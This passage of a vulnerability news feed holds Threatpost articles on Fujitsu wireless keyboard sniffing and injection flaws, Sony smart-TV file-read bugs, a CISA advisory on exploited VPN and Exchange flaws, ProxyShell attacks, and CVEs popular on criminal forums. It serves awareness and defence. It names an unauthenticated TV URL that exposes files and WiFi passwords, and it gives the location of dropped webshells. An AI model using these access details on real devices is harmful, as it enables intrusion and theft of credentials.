demands, for instance with one of the newer successor models LX410 or LX960.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe Fujitsu [Wireless Keyboard Set LX390](<https://www01.cp-static.com/objects/pdf/e/e2e/1349166666_1_toetsenborden-fujitsu-lx390-s26381-k590-l480.pdf>) desk set consists of a mouse and a keyboard. The wireless keyboard transmits keystrokes to the desktop wirelessly using a 2.4 GHz-range transceiver.\n\nIt\u2019s that data communication between the wireless keyboard and desktop where the vulnerabilities stem from; the LX390 does not use encryption for transmitting data packets that contain keyboard events, like keystrokes. Instead, the keyboard aims to secure any communicated data using a mechanism called \u201cdata whitening,\u201d which essentially scrambles the data in a certain configuration.\n\nHowever, because the data isn\u2019t encrypted, it can still be accessed and analyzed by an attacker who is up to 150 feet away (the [typical reach](<https://www.lifewire.com/range-of-typical-wifi-network-816564>) of devices using 2.4 GHz radio frequency).\n\n[![Fujitsu wireless keyboard flaws ](https://media.threatpost.com/wp-content/uploads/sites/103/2019/10/23130539/fujitsu-300x218.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/10/23130539/fujitsu.jpg>)\n\nResearchers were able to sniff out and analyze the radio communication using a software tool (the [Universal Radio Hacker](<https://github.com/jopohl/urh>)), to then unscramble the data-whitening configuration. That allowed them to view the data packet contents \u2013 which, Deeg said, could lead to two proof-of-concept (PoC) attacks.\n\nFirst of all, with access to the data packets, researchers were able to scope out keystrokes, such as passwords being entered into the wireless keyboard (CVE-2019-18201).\n\n\u201cWith this knowledge, an attacker can remotely analyze and decode sent keyboard events of a Fujitsu LX390 keyboard as cleartext, for instance keystrokes, and thus gain unauthorized access to sensitive data like passwords,\u201d said Deeg.\n\nIn another PoC attack, researchers were able to launch keystroke injections (CVE-2019-18200), which is an attack where hackers could send their own data packets to the wireless keyboard device, which in turn generates keystrokes on the host computer (which would need to have a screen that\u2019s already unlocked and unattended).\n\nAttackers from the short distance away could use keystroke injection attacks for all sorts of malicious purposes \u2013 the worst being the installation of malware, including dangerous rootkits. In order to send data packets in this proof-of-concept attack, researchers used a software-defined radio in combination with an in-house developed software tool utilizing [GNU Radio](<https://www.gnuradio.org/>).\n\nBoth flaws were reported to the manufacturer in April 2019. Fujitsu did not immediately respond to a request for comment from Threatpost.\n\nIt\u2019s not the first Fujitsu wireless keyboard flaw to be found; in March [Fujitsu stopped sales](<https://threatpost.com/unpatched-fujitsu-wireless-keyboard-bug-allows-keystroke-injection/142847/>) for its popular wireless keyboard after a researcher discovered it is vulnerable to keystroke injection attacks that could allow an adversary to take control of a victim\u2019s system.\n\nThese types of attacks have garnered attention since 2016, when the [Mousejack vulnerability](<https://threatpost.com/mousejack-attacks-abuse-vulnerable-wireless-keyboard-mouse-dongles/116402/>) raised awareness of the potential risks introduced by a wireless mouse or keyboard to the enterprise. In April [2018,](<https://threatpost.com/microsoft-fixes-66-bugs-in-april-patch-tuesday-release/131127/>) Microsoft patched a Wireless Keyboard 850 security feature bypass vulnerability ([CVE-2018-8117](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8117>)); while in December 2018 Logitech patched a bug could have allowed adversaries to launch keystroke [injection attacks](<https://threatpost.com/logitech-keystroke-injection-flaw/139928/>) against Logitech keyboard owners that used its app.\n\n\u201cAccording to our research results of the last three years, several wireless input devices like wireless desktop sets and wireless presenter using proprietary non-Bluetooth 2.4 GHz communication had some severe security issues allowing for replay, keystroke injection, and sometimes even keystroke sniffing attacks,\u201d Deeg told Threatpost.\n\n_**What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free **_[_**Threatpost webinar**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d **_[_**Click here to register**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-23T18:03:45", "type": "threatpost", "title": "Fujitsu Wireless Keyboard Plagued By Unpatched Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-8117", "CVE-2019-18200", "CVE-2019-18201", "CVE-2020-0688"], "modified": "2019-10-23T18:03:45", "id": "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "href": "https://threatpost.com/fujitsu-wireless-keyboard-unpatched-flaws/149477/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:18", "description": "Two vulnerabilities in Android-based smart-TVs from Sony, including the flagship Bravia line, could allow attackers to access WiFi passwords and images stored on the devices.\n\nThe bugs exist in the Photo Sharing Plus feature of Sony smart-TVs going back to 2015. They were uncovered by xen1thLabs in October; Sony in response [has removed](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) the vulnerable application from all new models and the bugs were disclosed on Monday.\n\nIt\u2019s important to remember that the vulnerabilities exist not only in homes but also in companies and organizations where smart TVs are used in conference and meeting rooms, widening the scope of the threat surface.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe Photo Sharing Plus application allows the uploading of pictures and multimedia from a smartphone to a TV, in order to show content in a slideshow format. The first vulnerability (CVE-2019-11336) allows an attacker, without authentication, to retrieve the WiFi password created by the television when the Photo Sharing Plus application is started. The second (CVE-2019-10886) allows an attacker to read arbitrary files, including images, located within the TV\u2019s software, without authentication.\n\nOn the first point, when started, the app essentially turns the TV into a WiFi access point and shows a WiFi password that allows customers to connect and share their media content, according to xen1thLabs. It\u2019s possible for an attacker to retrieve this password in plaintext from the logs kept in the Photo Sharing Plus API, according to the researchers, which is reachable via the home network or corporate LAN and which has no access restrictions on it.\n\nThe second bug opens up internal smart-TV files to cyberattackers: \u201cBy default, images used by the Photo Sharing Plus application are stored inside \u2018/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/\u2019,\u201d explained the team, in [an advisory](<https://www.darkmatter.ae/blogs/security-flaws-uncovered-in-sony-smart-tvs/>) this week. \u201cThe application initiates an access point on the television and a HTTP daemon is listening to a TCP port on the newly created WLAN. Furthermore, this daemon also listens on the LAN side of the television, and it is possible to retrieve these images from the LAN an image using [a hardcoded URL without authentication].\u201d\n\nFurther, browsing to the hard-coded web address \u201chttp://[ip_tv]:10000/contentshare/image/\u201d allows access to the Android-based root directory of the television, along with its default property files; these include the wireless password for the television.\n\nIn either case, attackers could upload their own content or pilfer content from the TV owners.\n\nTo be clear, an adversary would need to first access the network in order to exploit either vulnerability \u2013 so the attack would be local or require a multi-stage effort involving gaining remote network access.\n\nA list of affected models can be found [here](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) \u2013 the list is not comprehensive, according to xen1thLabs.\n\nThis is not the first issue for Sony TVs and Photo Sharing Plus. In October, security researchers revealed that eight Sony Bravia smart TV models [were vulnerable](<https://threatpost.com/sony-smart-tv-bug-allows-remote-access-root-privileges/138063/>) to a command-injection (CVE-2018-16593) bug tied to Photo Sharing Plus.\n\n\u201cThis application handles file names incorrectly when the user uploads a media file,\u201d wrote Fortinet\u2019s Tony Loi at the time, who found the vulnerability. \u201cAn attacker can abuse such filename mishandling to run arbitrary commands on the system, which can result in complete remote code-execution with root privilege.\u201d\n\nThe bugs illustrate the snowballing threat surface of smart devices and the internet of things (IoT), and the need for more awareness on the part of consumers and businesses alike.\n\n\u201cAny one of the billions of devices connected to a network, no matter how small, could be a target for hackers looking for a vulnerable path to a network or as part of a more widespread attack on a particular device type or channel,\u201d said Gil Bernabeu, technical director at GlobalPlatform, in [a recent blog](<https://globalplatform.org/is-it-impossible-to-securely-manage-the-billions-of-things-in-the-iot-ecosystem-2/?utm_source=iseepr&utm_medium=Blog&utm_campaign=SecureComponent>) on IoT security. \u201cAs the number and nature of use cases grow, so too do the risks.\u201d\n", "cvss3": {}, "published": "2019-04-25T21:13:31", "type": "threatpost", "title": "Android-Based Sony Smart-TVs Open to Image Pilfering", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-16593", "CVE-2019-10886", "CVE-2019-11336", "CVE-2020-0688"], "modified": "2019-04-25T21:13:31", "id": "THREATPOST:24AD38597408C4E7757770D45345AEBA", "href": "https://threatpost.com/android-sony-smart-tvs/144133/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\n![Threatpost Webinar Series ](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/27093135/threatpost-webinar-300x51.jpg)Worried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-17T07:28:30", "description": "Criminal small talk in underground forums offer critical clues about which known Common Vulnerabilities and Exposures (CVEs) threat actors are most focused on. This, in turn, offers defenders clues on what to watch out for.\n\nAn analysis of such chatter, by Cognyte, examined 15 [cybercrime forums](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) between Jan. 2020 and March 2021. In its report, researchers highlight what CVEs are the most frequently mentioned and try to determine where attackers might strike next.\n\n\u201cOur findings revealed that there is no 100 percent correlation between the two parameters, since the top five CVEs that received the highest number of posts are not exactly the ones that were mentioned on the highest number of Dark Web forums examined,\u201d the report said. \u201cHowever, it is still enough to understand which CVEs were popular among threat actors on the Dark Web during the time examined.\u201d[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)The researchers found [ZeroLogon](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>), [SMBGhost](<https://threatpost.com/smbghost-rce-exploit-corporate-networks/156391/>) and [BlueKeep](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>) were among the most buzzed about vulnerabilities among attackers between Jan. 2020 and March 2021.\n\n## **Six CVEs Popular with Criminals**\n\n[CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) (aka ZeroLogon)\n\n[CVE-2020-0796](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0796>) (aka SMBGhost)\n\n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n[CVE-2019-0708](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708>) (aka BlueKeep)\n\n[CVE-2017-11882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882>)\n\n[CVE-2017-0199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0199>)\n\n\u201cMost of the CVEs in this list were abused by nation-state groups and cybercriminals, such as ransomware gangs, during worldwide campaigns against different sectors,\u201d the report said.\n\nNotably, all the CVEs threat actors are still focused on are old, meaning that basic patching and mitigation could have stopped many attacks before they even got started.\n\nThe report added, 